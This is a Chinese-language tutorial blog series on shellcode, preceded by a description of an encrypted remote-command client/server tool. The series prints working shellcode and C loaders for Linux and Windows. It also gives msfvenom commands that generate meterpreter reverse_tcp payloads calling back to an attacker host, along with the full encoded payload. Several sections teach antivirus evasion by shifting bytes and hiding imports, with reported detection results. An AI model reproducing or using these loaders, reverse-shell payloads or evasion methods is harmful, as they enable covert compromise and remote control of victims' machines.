攻击者运行server.py, 靶机运行client.py或者被pyinstaller打包过的程序上线.
client上线后会进入一个循环, 尝试连接server.
一旦连接上便会进入握手阶段, 握手阶段CS会互相发送一个大约2048bits的数字(偶尔小于2048), 这个阶段的任务是DH密钥交换, 可以通过这种方式安全地生成一个密钥. 而这个密钥远超过16一个AES块大小, 于是我使用了md5处理, 正好缩短到16字节.
密钥交换完成, client阻塞, 等待server传递指令; 而server则阻塞等待用户输入.
如果用户输入了命令, server便会用AES-ECB和之前的密钥加密命令并发送, 而后进入监听结果的阻塞.client收到后解密.
client执行并加密返回结果, server收到后解密, 检查编码以兼容不同编码, 默认GBK.结束后, 回到阶段4

粘包问题怎么解决?

这就是为什么我使用AES-ECB的原因. 虽然说ECB这种加密存在一定缺陷, 但是每个16字节的块的解密相对独立. 我们可以一个块一个块解密.

为了能让每个块都有16字节, 明文在加密之前进行了pkcs7标准的Padding, 所以我们可以在解密每一个块后都检查这个块是否有padding过, 一旦发现这个块存在padding那么这就是最后一个块, 这条消息应该到此为止.

所以可以说, 粘包问题是和加密一起解决的.

为什么不用CBC? 因为CBC的解密过程, 下一个块的解密结果取决于之前的块. 解密库的函数貌似不支持解密每个块的时候返回结果, 我不方便这样检查padding确定消息边界. 除非我自己实现一遍, 不然我只能不停地接一个块, 带着之前的块试着解密检查padding, 效率会很低. 所以放弃了CBC.

Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode

1681702008

前言

我可能又要开一个系列文, 希望这次不要太监了.
最近正在重新自学一些比较二进制的东西. 一边学一边探索. 并且做一些记录分享给各位. 我们会开始从shellcode是什么, 原理, 到杀毒软件规避, 甚至未来可能会有C2的内容.

这个系列可能会需要你具备一点前置知识:

一点点的计算机架构知识,比如: 函数是如何被调用的, 栈是什么, 常用寄存器之类的.
一点点的操作系统知识.
一点点的汇编基础
一点点的C基础

我尽可能说的通俗易懂.

什么是shellcode?

通俗的说，编译好的程序就像是一定格式的剧本。不同操作系统通常支持不同的“剧本格式”。比如windows就是PE，昂，后缀是exe的那个玩意儿。Linux是ELF格式。他们在格式结构和引用上不同。而不同CPU架构主要可以理解为剧本语言本身上的不同。

当一个程序被启动后，“剧本”就被加载进内存，CPU会一条一条去按着剧本内容去演出。CPU怎么知道当前演到哪一条呢？CPU有寄存器，可以记住一些信息，比如x86架构中，就有一个叫做EIP的寄存器。这个寄存器会记住现在演到哪里了。

当然，很多程序会需要从用户那边读取数据，然后把数据放在内存中。等等哈，内存这下岂不是又存着剧本，又存着用户输入了？如果……我们故意让用户输入的内容替换掉“剧本”会怎么样？比如，把“假的剧本片段”塞进内存，再让EIP寄存器恰好指向那里，去执行那些指令，诶？我们这不就篡改了剧本，夺舍这个程序，让这个程序变成傀儡？如果这个程序还具有一定的权限，岂不是为所欲为“？

那这个发过去的，具有攻击意图的用户输入，我们就叫payload。攻击载荷。等等，这和shellcode有什么关系？

嗯…很多人分不清shellcode和payload. 其实也算是一个历史原因. 现在shellcode和payload的界限也不是很明确.

早年在溢出漏洞横行的年代, 有些比较严重的漏洞可以允许我们控制指令指针寄存器(比如x86的EIP)指向的地址, 并且可以在内存中写入我们的恶意代码. 那么我们就可以控制目标的机器, 把指令寄存器指向我们写入的代码区域, 运行我们写入内存的指令.

运行什么指令呢? 跑跑一个两个命令又不过瘾, 每次执行完了还得再构造一遍, 而后再利用一遍漏洞, 这太麻烦, 怎么办? 运行一个/bin/sh直接接过来, 我们直接操作终端不好么?
于是这种能够获得一个shell的代码, 就被成为shellcode了. 由于写进内存, 由CPU直接运行, shellcode基本上都是机器码.
随着各种技术, 比如栈保护, NX, 地址随机化, 代码规范和各种不同的语言出现,这类漏洞越来愈少.
而我们也用上了像metasploit这样的大家伙, 它生成的meterpreter也被称为shellcode, 但是功能上已经不再是单纯获取一个shell而已. 所以到底什么是shellcode? 这个界限越来越模糊.

所以，payload是你发向目标的, 可以帮助你达成某些攻击目的的东西. 可以是SQL, 可以是jar, 可以是各种各样的东西, 承载着你攻击的目的而发出去的东西.
而shellcode通常就是上文说的那一段机器码, 目的是get shell, 或者获取一种暂时连接的, 方便攻击者执行任意命令的会话.(我认为)

shellcode应该是payload的子集.

最简单的例子

我们来看一个shellcode, 你可以动手编一段代码, 然后用各种手段编译成机器码, 在网上查找，或者……

问chatGPT, 给你一个

题外话插一句, chatGPT真的是一位很好的老师, 还真就什么都知道. 所以, 你有问题就问他, 他会解释给你听. 尽管偶尔有点错误但也八九不离十.

chatGPT给了我一个非常简单的示例, x86平台, 针对linux系统. 别看到Linux就跑了. 我们先拿Linux讲讲原理.
对于windows会在这篇文章会出现，并且讨论简单的免杀。Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

以下这段shellcode将调用execve系统调用来执行/bin/sh，从而打开一个shell。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

我这里说一下execve(), 就是可以直接把一个新的程序加载在当前程序的内存中. 你简单理解为”夺舍”就行. 这个情况就是让/bin/sh附身到当前用execve召唤它的进程上.

这是参数:

int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);

在汇编的角度看函数调用, 我们需要提前把一些参数压入栈, 有些参数也可以通过寄存器传递. 函数返回值也需要占用一个寄存器.

chatGPT给了我以上代码每一行的解释. 不过在解释之前, 为了你读着方便, 我插一个图.

我们可以使用一个非常好的逆向工具, 叫做cutter来分析这段shellcode.
简单提一下, 这个工具可以静态分析, 也可以动态分析. 还可以反编译.

把以上的shellcode直接复制粘贴进启动页面shellcode栏, 我们便可以分析.

\x31\xc0：XOR EAX, EAX；将EAX寄存器的值与自身进行异或，将EAX清零。
\x50：PUSH EAX；将EAX寄存器的值（0）压入栈。
\x68\x2f\x2f\x73\x68：PUSH 0x68732f2f；将字符串//sh的ASCII编码压入栈。
\x68\x2f\x62\x69\x6e：PUSH 0x6e69622f；将字符串/bin的ASCII编码压入栈。
\x89\xe3：MOV EBX, ESP；将栈顶指针（ESP）的值复制到EBX寄存器，这样EBX将指向字符串/bin//sh。
\x50：PUSH EAX；再次将EAX（0）压入栈，作为execve系统调用参数列表的终止符。
\x53：PUSH EBX；将EBX的值（指向/bin//sh的指针）压入栈。
\x89\xe1：MOV ECX, ESP；将栈顶指针（ESP）的值复制到ECX寄存器，这样ECX将指向参数列表的起始位置。
\x31\xd2：XOR EDX, EDX；将EDX寄存器的值与自身进行异或，将EDX清零。EDX将作为execve系统调用的环境参数传递给内核。
\xb0\x0b：MOV AL, 0x0B；将0x0B（即11，代表execve系统调用，操作系统以后根据这个才知道你要执行哪一个函数）先放入AL寄存器（EAX的低字节）。
\xcd\x80：INT 0x80；通过中断0x80触发系统调用, 就是根据上一条指令的参数（0x0B）去调用对应的函数

这段剧本碎片，逐行理解，不知道你读懂了没有。

换个角度解释，这段代码就是通过中断，唤醒操作系统，告诉操作系统，我们要运行一个系统函数。如果你不理解为什么要唤醒，嗯…假设这是一个单CPU单核的电脑，CPU在运行程序的时候，操作系统并没有在CPU中运行。我们要让CPU知道，接下来应该要操作系统介入，去跑操作系统的代码。因为我们要调用属于系统的函数了。
具体哪个函数？参数内容是什么？这段代码已经把所有操作系统需要知道的都扔进了内存和寄存器了。
操作系统醒来看了看之前寄存器里的内容，看了看内存，就去执行execve了。

问题来了，这shellcode只是剧本片段，并非一个完整的剧本。所以我们应该如何运行这段shellcode呢？

加载并运行shellcode

其实在信息安全工具中有一类Loader可以专门做这种事情。
但是今天我们为了探究原理，先不去用那些。我们今天先用Linux。在未来我们讲免杀的时候会用windows：Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

我们自己手写一个加载器。
我们需要把以上的shellcode放进一段可执行内存, 并且让程序去执行这段内存. 具体到每一步, 就是:

在Linux中我们可以用mmap让系统为我们分配一小块内存, 标记为可以执行.
我们可以用memcpy把shellcode复制进那块内存.
定义一个函数指针, 也就是把那块有shellcode的内存作为一个函数.
调用上面写好的函数, 让机器去执行那段代码.

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    // 将shellcode转换为字节数组
    unsigned char shellcode[] = \
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

    // 计算shellcode的长度
    size_t shellcode_length = sizeof(shellcode) - 1;

    // 分配内存并设置为可读、可写、可执行
    void *memory = mmap(NULL, shellcode_length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    // 将shellcode复制到分配的内存中
    memcpy(memory, shellcode, shellcode_length);

    // 定义一个函数指针，指向我们分配的内存（即shellcode）
    void (*shellcode_func)() = (void (*)())memory;

    // 调用shellcode_func，执行shellcode
    shellcode_func();

    return 0;
}

然后我们可以用gcc编译它,

gcc -m32 -o shellcode_test shellcode_test.c
./shellcode_test

运行这段程序, 我们将会看到我们的程序成了sh.

那么我们的shellcode被藏在什么地方了呢?
Linux中可执行文件的格式叫ELF. ELF有很多”段”, 结构非常复杂.

由于我们在C代码中, 把shellcode定义成了一个字符串. 所以在编译以后被写进了.rodata段. 一般静态数据都会写进.data, .rodata的ro是read only的意思.

我们可以用readelf -S命令找到.rodata的地址. 本例在0x00002000

我们用工具Cutter中的Hexdump看看, 具体位置在0x00002010:

看看汇编呢?

总结

本篇简单讲了一下什么是shellcode, 怎么加载一段shellcode.
实战中并不会怎么直接把shellcode直接丢进代码编译.

在后面的文章中我们会探究如何使用meterpreter的shellcode并且进行简单的免杀
先是linux, 而后是windows.

Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)

Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)

1681713421

前言

上文中我们简单认识了一下什么是shellcode. 并且构造了一个入门版shellcode.
如果你还不知道这个Shellcode到底是啥玩意儿，非常建议去之前那个文章看看。

Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode

这篇文中我们将接着上文讲. 我会提出一些对没经验的人有帮助的绕过杀软的思路.
文中出现的绝对不是好办法, 只是遇到被查杀时可以有能力解决. 真正的杀毒软件规避方式绝对不是简单的+1-1. 我只是提供一个解决问题的方向:

隐藏恶意代码, 消除可疑特征.

下一个章节就是一个例子. 效果有, 但是不算特别好.
Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

希望抛砖引玉, 举一反三就是.

大概思路

上文说到，每个编译过的程序，都是一个具有一定格式的”剧本“。
杀毒软件怎么工作呢？想要识别“坏剧本”，那就得要找出”坏剧本“的特征。
很多年前还是在通过计算这些剧本的”指纹“，也就是hash来确定。由于内容相同的文件不管文件名如何，由于内容没区别，所以hash也一样。这样杀毒软件就可以通过hash来确定。但是这样“坏剧本”岂不是随便变一点，比如加个随机字符串随便改改就认不出来了？

后来又可以根据其恶意特征来确定。比如：
这个“剧本”的内容貌似获取了系统IP，打算开一个TCP连接到一个奇怪的地方。还调用函数把自己隐藏起来，偷偷摸摸的。剧本里面还有一个固定字符串用来执行命令，还有一个注册表的字符串，添加开机启动的。除此以外也没做什么。你说嘛，这一看就不像什么正常剧本。

但是这个时候，杀毒软件并不会直接执行这个程序，而是读剧本内容试着分析。那么我们让它读不懂不就好了？

早些年那些所谓“加壳”就是这样，直接把整个“剧本”加密。这样的话，杀毒软件看到的东西，只会是一个开头是某种无害的解密用的“剧本”，而后接着是一大堆读不懂的内容(被隐藏的真剧本)，当场把杀毒软件整不会了。所以有的杀毒软件看到加了某种壳就杀，有的就被忽悠，绕过去了。UPX就是一种壳，当年被滥用，结果后来被不分青红皂白地报毒。

当然看过上文你也应该明白，shellcode只是剧本的一段“剧情对白”，它需要一个宿主，并不能独立运行。在没有前文说的那种有漏洞的程序时，我们需要一个“shellcode加载器”来让我们运行shellcode。

但是Shellcode一看就不是什么正常指令，一般也都有特征，如果我们想绕过杀毒软件我们也要把恶意shellcode藏起来，至少让杀毒软件看不明白。只是有时候这种方法简单得令人发指….

Meterpreter shellcode和shikata_ga_nai的特征

当然说到shellcode，我们这次就用一个能远程通信的吧。不如直接用Metasploit提供的现成shellcode。
生成这方面没什么太多好说的, 我们用msfvenom可以轻松生成shellcode。

（补充一下，其实我这里用的是staged payload。在metasploit中meterpreter/reverse_tcp是staged，meterpreter_reverse_tcp是stageless。什么意思呢？
比如，经常上天的同学都知道，在英语里面，火箭发射有第一级，第二级，等等。这就是不同的stage。staged这里的意思就是分级的，所以我们生成的，这里只是火箭的第一级：一个下载器，真正恶意模块会在下载器运行后下载下来并且执行，这样更加隐藏了那些非常可疑的部分并且大大减小了体积。而stageless是一口气直接生成一个完整的meterpreter）

当然这种shellcode内容和行为暴露无遗。所以我们用shikata_ga_nai编码5次让杀毒软件看不懂. 并且过滤一些bad chars: -b "\x00\x0a\x0d“

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.151 LPORT=3333 -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 5 -f c > meterpreter.c

我们会得到一个meterpreter.c文件, 内容是:

unsigned char buf[] = 
"\xbe\x53\xe2\x7a\xf3\xdb\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9"
"\xb1\x3a\x31\x72\x15\x03\x72\x15\x83\xc2\x04\xe2\xa6\x58"
"\x0e\x5d\xdb\x61\x34\x7d\x02\xed\xef\x8a\xeb\x3d\x39\xc3"
"\x27\x73\xee\x36\xc4\xb4\x14\x34\xe9\x9a\x64\x33\x9e\xe2"
"\x08\x91\xa4\x8b\x85\xdc\x9a\x92\x02\x50\xed\x1c\xba\xf7"
"\x1d\x05\x46\xb1\x6a\x3c\xbf\xae\x28\xdd\x6c\x23\x10\x0c"
"\xe8\x41\xa9\x7f\x42\x03\x51\x3d\x73\xa3\x13\x83\x20\xd5"
"\x6d\x31\x65\xcd\xfb\x02\x86\xf9\x4e\xcd\xcf\x9d\x08\xb6"
"\x11\x36\xa7\x15\xcc\xd6\x91\x99\xb3\x4c\xa9\xad\xe8\x5c"
"\xb3\x37\xeb\xb4\x9e\x5a\xac\xe2\x2f\x26\xfb\xe2\x9e\x95"
"\x10\x02\x3f\x18\xd0\xd4\x96\xad\x3e\x8f\x92\x06\x8c\x2f"
"\xb6\x64\xd1\x59\xe1\x91\x2b\x51\x82\xad\x58\xe5\xfd\x02"
"\xd4\x27\xdb\xc6\x98\xa7\x83\x60\x9c\x95\x17\x24\xe2\xef"
"\x60\xf5\xed\x55\x9c\xee\x99\x86\xcc\xf7\x34\x97\xcf\x41"
"\xb5\xad\x49\xa6\x67\xaa\xdf\xd4\xa8\x59\xb2\x12\xd8\x2f"
"\xff\xe9\xc5\x02\x06\xd1\x55\x95\xac\x5f\x1f\xdf\x17\x75"
"\x19\xed\x11\x4a\xda\xb4\x1f\x05\x23\x0b\x4f\xf2\x12\x33"
"\xf9\xd2\xcf\xe2\x3b\x0b\x0b\xa3\x71\xe6\x5d\x19\xbd\xf8"
"\x13\x2e\xbf\x52\xa0\x72";

如果你看了上文, 这种格式, 眼熟吧?

这里简单说一下shikata_ga_nai, 其实是日语. 我不懂日语, 据说是”没辙”的意思.
很多人用这种方法免杀。在多年前metasploit教材中也是着重指出的杀毒软件规避的好东西。

我记不清了, 在大概15年,16年那个时候, 还真的, 基本用了这个就真的做到了免杀. 基本能绕过当时常见的很多杀软, 但是这些年就不行了.

我们可以想想, shikata_ga_nai的原理。其实和我上文说的加壳有点类似。
在加密原始payload后, 会把解码代码(这类东西俗称stub)放在前面.

我们不妨多生成几个. 我这里生成了三份, 然后使用上期提到的工具cutter看看:

仔细观察, 三个版本开头都是in eax, dx(有一个没截到)
然后就是mov, fcmovne, fnstenv, 顺序打乱出现. 下一个必是pop
接下来的指令也就那些, 基本固定, 唯独顺序和寄存器不一样. 还有一个mov cl, 0x3a这个是固定出现.

也就是说, shikata_ga_nai依旧是有特征的. 我们以后好针对这个问题处理. 不过本文应该不会这么细的操作. 后面我用了一种简单粗暴的做法.

组装并测试shellcode

我们根据上一篇文章, 如法炮制:

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    // 将shellcode转换为字节数组
    unsigned char shellcode[] = 
        "\xbe\x53\xe2\x7a\xf3\xdb\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9"
        "\xb1\x3a\x31\x72\x15\x03\x72\x15\x83\xc2\x04\xe2\xa6\x58"
        "\x0e\x5d\xdb\x61\x34\x7d\x02\xed\xef\x8a\xeb\x3d\x39\xc3"
        "\x27\x73\xee\x36\xc4\xb4\x14\x34\xe9\x9a\x64\x33\x9e\xe2"
        "\x08\x91\xa4\x8b\x85\xdc\x9a\x92\x02\x50\xed\x1c\xba\xf7"
        "\x1d\x05\x46\xb1\x6a\x3c\xbf\xae\x28\xdd\x6c\x23\x10\x0c"
        "\xe8\x41\xa9\x7f\x42\x03\x51\x3d\x73\xa3\x13\x83\x20\xd5"
        "\x6d\x31\x65\xcd\xfb\x02\x86\xf9\x4e\xcd\xcf\x9d\x08\xb6"
        "\x11\x36\xa7\x15\xcc\xd6\x91\x99\xb3\x4c\xa9\xad\xe8\x5c"
        "\xb3\x37\xeb\xb4\x9e\x5a\xac\xe2\x2f\x26\xfb\xe2\x9e\x95"
        "\x10\x02\x3f\x18\xd0\xd4\x96\xad\x3e\x8f\x92\x06\x8c\x2f"
        "\xb6\x64\xd1\x59\xe1\x91\x2b\x51\x82\xad\x58\xe5\xfd\x02"
        "\xd4\x27\xdb\xc6\x98\xa7\x83\x60\x9c\x95\x17\x24\xe2\xef"
        "\x60\xf5\xed\x55\x9c\xee\x99\x86\xcc\xf7\x34\x97\xcf\x41"
        "\xb5\xad\x49\xa6\x67\xaa\xdf\xd4\xa8\x59\xb2\x12\xd8\x2f"
        "\xff\xe9\xc5\x02\x06\xd1\x55\x95\xac\x5f\x1f\xdf\x17\x75"
        "\x19\xed\x11\x4a\xda\xb4\x1f\x05\x23\x0b\x4f\xf2\x12\x33"
        "\xf9\xd2\xcf\xe2\x3b\x0b\x0b\xa3\x71\xe6\x5d\x19\xbd\xf8"
        "\x13\x2e\xbf\x52\xa0\x72";
;

    // 计算shellcode的长度
    size_t shellcode_length = sizeof(shellcode) - 1;

    // 分配内存并设置为可读、可写、可执行
    void *memory = mmap(NULL, shellcode_length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    // 将shellcode复制到分配的内存中
    memcpy(memory, shellcode, shellcode_length);

    // 定义一个函数指针，指向我们分配的内存（即shellcode）

    void (*shellcode_func)() = (void (*)())memory;

    // 调用shellcode_func，执行shellcode
    shellcode_func();

    return 0;
}

编译过后, 运行这个程序, 我们的msfconsole便会得到一个会话.

我们上传这个程序到virustotal:2/62
有两家报毒. Hummm….

(不好意思,图没截)

还记得我们上一期编写的那个简单的shellcode吗?
我们也上传到virustotal, 结果是0/62

那么就是说, 报毒是因为meterpreter shellcode.
所以我们需要对shellcode作出一些…调整

AV bypass

我们知道, 静态查杀只会扫描文件, 而不会去运行这个程序. 根据上一篇文章内容, 我们知道, shellcode会原封不动地被存储在.rodata节里, 也就是说, 你在编译好的二进制文件里, 是能找到完整的, 我们的字节码的. 那么杀毒软件只要扫描这个文件去找可疑的字节码作为特征就好了.

而我们现在也知道了, 第一篇文章简单的shellcode并没有报毒, 但是用了msfvenom生成的代码就报毒.
正如上文对shikata_ga_nai的分析, 我们不难发现就算是编码, 生成的代码依旧是有一定的规律的. 所以杀软识别出来这段shellcode也不是不可能.

所以问题很可能就是meterpreter的shellcode. 而我们就是要让这段shellcode失去特征.

不过我这人很懒就是: 话说, 我们生成的时候正好过滤了一些bad char, 其中有\x00, 所以我的绕过思路就是:

给每个字节减去1, 破坏shellcode.

因为没有0所以不用担心减到溢出.

我们可以写一个脚本来处理这件事, 把之前的shellcode全部减1, 这样的话shellcode看起来根本不像机器码. 而后在C代码里编写一个函数给每个字节+1, 在运行时可以还原这个shellcode.

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

void increment_hex_string(unsigned char *hex_string, size_t len) {
    for (size_t i = 0; i < len; i++) {
        hex_string[i]++;
    }
}

int main() {
    // 将shellcode转换为字节数组
    unsigned char shellcode[] = 
        "\xbd\x52\xe1\x79\xf2\xda\xce\xd8\x73\x23\xf3\x59\x2a\xc8\xb0\x39\x30\x71\x14\x02\x71\x14\x82\xc1\x03\xe1\xa5\x57\x0d\x5c\xda\x60\x33\x7c\x01\xec\xee\x89\xea\x3c\x38\xc2\x26\x72\xed\x35\xc3\xb3\x13\x33\xe8\x99\x63\x32\x9d\xe1\x07\x90\xa3\x8a\x84\xdb\x99\x91\x01\x4f\xec\x1b\xb9\xf6\x1c\x04\x45\xb0\x69\x3b\xbe\xad\x27\xdc\x6b\x22\x0f\x0b\xe7\x40\xa8\x7e\x41\x02\x50\x3c\x72\xa2\x12\x82\x1f\xd4\x6c\x30\x64\xcc\xfa\x01\x85\xf8\x4d\xcc\xce\x9c\x07\xb5\x10\x35\xa6\x14\xcb\xd5\x90\x98\xb2\x4b\xa8\xac\xe7\x5b\xb2\x36\xea\xb3\x9d\x59\xab\xe1\x2e\x25\xfa\xe1\x9d\x94\x0f\x01\x3e\x17\xcf\xd3\x95\xac\x3d\x8e\x91\x05\x8b\x2e\xb5\x63\xd0\x58\xe0\x90\x2a\x50\x81\xac\x57\xe4\xfc\x01\xd3\x26\xda\xc5\x97\xa6\x82\x5f\x9b\x94\x16\x23\xe1\xee\x5f\xf4\xec\x54\x9b\xed\x98\x85\xcb\xf6\x33\x96\xce\x40\xb4\xac\x48\xa5\x66\xa9\xde\xd3\xa7\x58\xb1\x11\xd7\x2e\xfe\xe8\xc4\x01\x05\xd0\x54\x94\xab\x5e\x1e\xde\x16\x74\x18\xec\x10\x49\xd9\xb3\x1e\x04\x22\x0a\x4e\xf1\x11\x32\xf8\xd1\xce\xe1\x3a\x0a\x0a\xa2\x70\xe5\x5c\x18\xbc\xf7\x12\x2d\xbe\x51\x9f\x71";

    // 计算shellcode的长度
    size_t shellcode_length = sizeof(shellcode) - 1;

    increment_hex_string(shellcode, shellcode_length);

    // 分配内存并设置为可读、可写、可执行
    void *memory = mmap(NULL, shellcode_length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    // 将shellcode复制到分配的内存中
    memcpy(memory, shellcode, shellcode_length);

    // 定义一个函数指针，指向我们分配的内存（即shellcode）

    void (*shellcode_func)() = (void (*)())memory;

    // 调用shellcode_func，执行shellcode
    shellcode_func();

    return 0;
}

再次编译, 可以正常运行.
试着扫描:

纪念一下.

总结

本文简单介绍一下对抗杀软的思路. 其实实战中通常不会把shellcode直接写进二进制文件, 也通常不会就这么直白的-1+1.通常会隐写进一些图片之类的, 或者通过网络获取.
攻击者通常还要考虑躲避沙盒分析,
比如有一种做法就是用DNS记录里的内容解密shellcode.

对于有些事情, 有时候, 只要你乐意往深处多瞥一眼, 都可能会有意外收获.

另外, linux没什么人用杀软, 导致杀软不怎么研究Linux这块, 所以linux下杀软也的确没必要用了…

实话说, 我当时也没想到+1-1就能行.

下一篇我们则会挑战Windows中的杀毒软件:

Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软（静态）

1681889883

前言

我们已经有两篇文章介绍了shellcode, 并且简单探讨了如何用C加载shellcode和shikata_ga_nai编码的特征.

如果你不知道什么是shellcode，绕过杀毒软件的思路是什么，特别推荐你去看看前文：

Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode
Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)

不过以上两篇基本还是在Linux操作系统中. 而实战中我们还经常可以遇到windows.
而且windows中的情况更加多变: windows中往往都有杀毒软件。甚至比较新的windows哪怕没有杀毒软件，也默认开启了Windows Defender.

当然，根据本文思路/概念，我也做了一个能用的免杀脚本：
大概就是你丢进去一个shellcode给你做一个免杀DLL出来。

至少当时在Virustotal上做到0/73

Shellcode初探[3x]: 自制实用shellcode加载器，绕过杀软（静态）

Github: ShellcodeEncrypt2DLL

当然我们今天探讨的还是绕过静态查杀，没有针对EDR，内存查杀等其他安全防护绕过。

像是shikata_ga_nai这种编码器已经经常被针对了。甚至某个杀软会识别并试图找到密钥，解密被AES加密的经过shikata_ga_nai编码过后的shellcode，然后看到是shikata_ga_nai特征就报毒（诡异的是我把shikata_ga_nai换成xor后它又认不出来了？？？）。

这篇文章, 很抱歉, 也算我自己写的时候有些素材没有整理到位, 起初我只测了火绒和VirusTotal(因为我Windows的机器上只有火绒), 但是在VirusTotal上杀软查杀跟进非常快. 似乎我们的加载器我上传以后很快就被针对了，所以没多久在VT上的结果就很难看了。

所以自己测试马也不要没事上传到VT。还能多活一阵子。

这篇文章我断断续续写了几天, 第一天时能VT能绕过很多的, 两天后再想起截图效果就很差了. 我打算按照:

Meterpreter shellcode直接被检测出
我们简单处理Meterpreter shellcode做到一定成效
使用动态加载隐藏调用函数

这样的顺序撰写文章, 介绍常用的免杀技术. 可惜, Windows中哪怕是Hello world程序都可能被在VirusTotal上查杀.比如下图, xor.exe只是一个处理字符串的程序, 尽管我删掉了敏感明文, 甚至删除掉了xor操作换为凯撒位移, 什么都不做尽管如此还是有18/70报毒. 这样我们难以通过VirusTotal的检测来判断我们的处理是否有效. 导致休止千鹤被自己打脸频发, 场面一度尴尬.

最后我被迫无奈在虚拟机上装了火绒和360作为测试对象.

(免责: 这篇文章涉及到的内容当前有效, 但是都是公开的基本技术, 本文只是作为学习介绍这种思路的一个例子. 而且我已经提交到了VirusTotal.)

C编写Meterpreter加载器

首先我们需要用msfvenom生成一个shellcode.
Staged之类的具体讨论见上一篇文章.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.151 LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -i 5 -f c > meterpreter.c

移除badchar\x00目的是在后文我们会对shellcode每个字节-1，如果shellcode有\x00我python脚本-1会报错溢出。其实我们用memcpy()的时候不用太担心badchar。
当然接下来这里我们是没有对shellcode做-1处理的。

然后我们编写一个针对Windows的加载器, 和前文Linux的加载器思路类似. 只不过调用的函数不同.
上文中, 我们:

用mmap获取一块可写可执行内存
用memcpy把shellcode放进刚刚mmap获取的内存
用函数指针完成调用, 执行shellcode内存区域的shellcode

这里:

我们用VirtualAlloc获取一块可写可执行内存
同样用memcpy做同样的事
用CreateThread运行那块内存

我C基础比较马虎, 轻喷.

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main() {
    // 将上面的汇编代码编译为机器代码，并将其存储在一个字节数组中
    unsigned char shellcode[] = "\xbd\x62\x67......";

    size_t length = sizeof(shellcode);

    for(int i=0; i<length ; i++){
        printf("\\x%x",shellcode[i]);
    }

    // 为shellcode分配内存
    void *exec_shellcode = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // 将shellcode复制到新分配的内存中
    memcpy(exec_shellcode, shellcode, length);
    // 创建一个新的线程来执行shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("创建线程失败，错误代码: %u\n", GetLastError());
        return 1;
    }

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 释放分配的内存
    VirtualFree(exec_shellcode, 0, MEM_RELEASE);

    return 0;
}

编译这个代码, exe一生成火绒就报毒.
我们的加载器没有对shellcode进行任何隐藏，并且有可疑行为。
如我上文所说，shikata_ga_nai被针对了。

VirusTotal更是给出了37/70的”好成绩”

尝试绕过杀毒软件

还记得在前一篇文中我们的一个迷之操作吗? 因为我们发现即便excellent如shikata_ga_nai, 处理过的shellcode依旧是有特征的. 毕竟Meterpreter和shikata_ga_nai已经是重点关注对象了, 不处理的话肯定不行.
于是我们上一篇文中, 提前把shellcode每个字节减去1, 然后再在C代码memcpy()之前把shellcode每个字节加上1还原回来.
这个方法让Linux的Meterpreter直接通过所有杀毒软件查杀.

搞乱shellcode, 隐蔽特征总是很有效的.(然后就打脸了)

浑水摸鱼: 加一减一大法

提前用python处理好shellcode, 然后在加载器C代码里加一个函数

void increment_hex_string(unsigned char *hex_string, size_t len) {
    for (size_t i = 0; i < len; i++) {
        hex_string[i]++;
    }
}

并且记得在memcpy()之前加上…编译…
然后火绒立刻报毒,
不仅如此, 我们看看VirusTotal:

休止千鹤啊你这脸算是打的啪啪响了…
试图绕过反而导致更多杀软报毒.

暗渡陈仓: 动态加载

像上面的代码, 我们直接调用了系统函数.
这样的话会在PE文件中的头部留下我们这个程序需要调用的外部函数. 也就是说, 这个”剧本”里会明明白白地写着这几个看起来就不太善良的函数.

你说，这些函数莫名奇妙要来一块内存，然后给了一个可写可执行权限，又往里面memcpy扔一堆东西，这明摆着要在内存里搞事情啊。

杀毒软件很可能根据这个就判断我们有问题.

正如之前一样, 我们可以用工具cutter一探究竟.
我们使用之前编译的exe直接拖进cutter.

在这里我们能看到, 导入表中有VirtualAlloc函数. 我们还能看见在导入表(Import Table)中的地址, 我们直接跟进Hexdump. 哦, 原来这里是导入地址表(Import Address Table)

眼尖的话, 你还能看到下面有ASCII的VirtualAlloc. 那里是导入表的名称表(Import Name Table). 关于IAT和INT的关系这里就不展开了.

我们发现: 这个二进制文件里包括了我们导入函数的字符串(这是个伏笔, 一个坑…)
而且我们还能找到我们代码里调用的其他几个函数, 这几个函数同时出现, 就很可疑了.

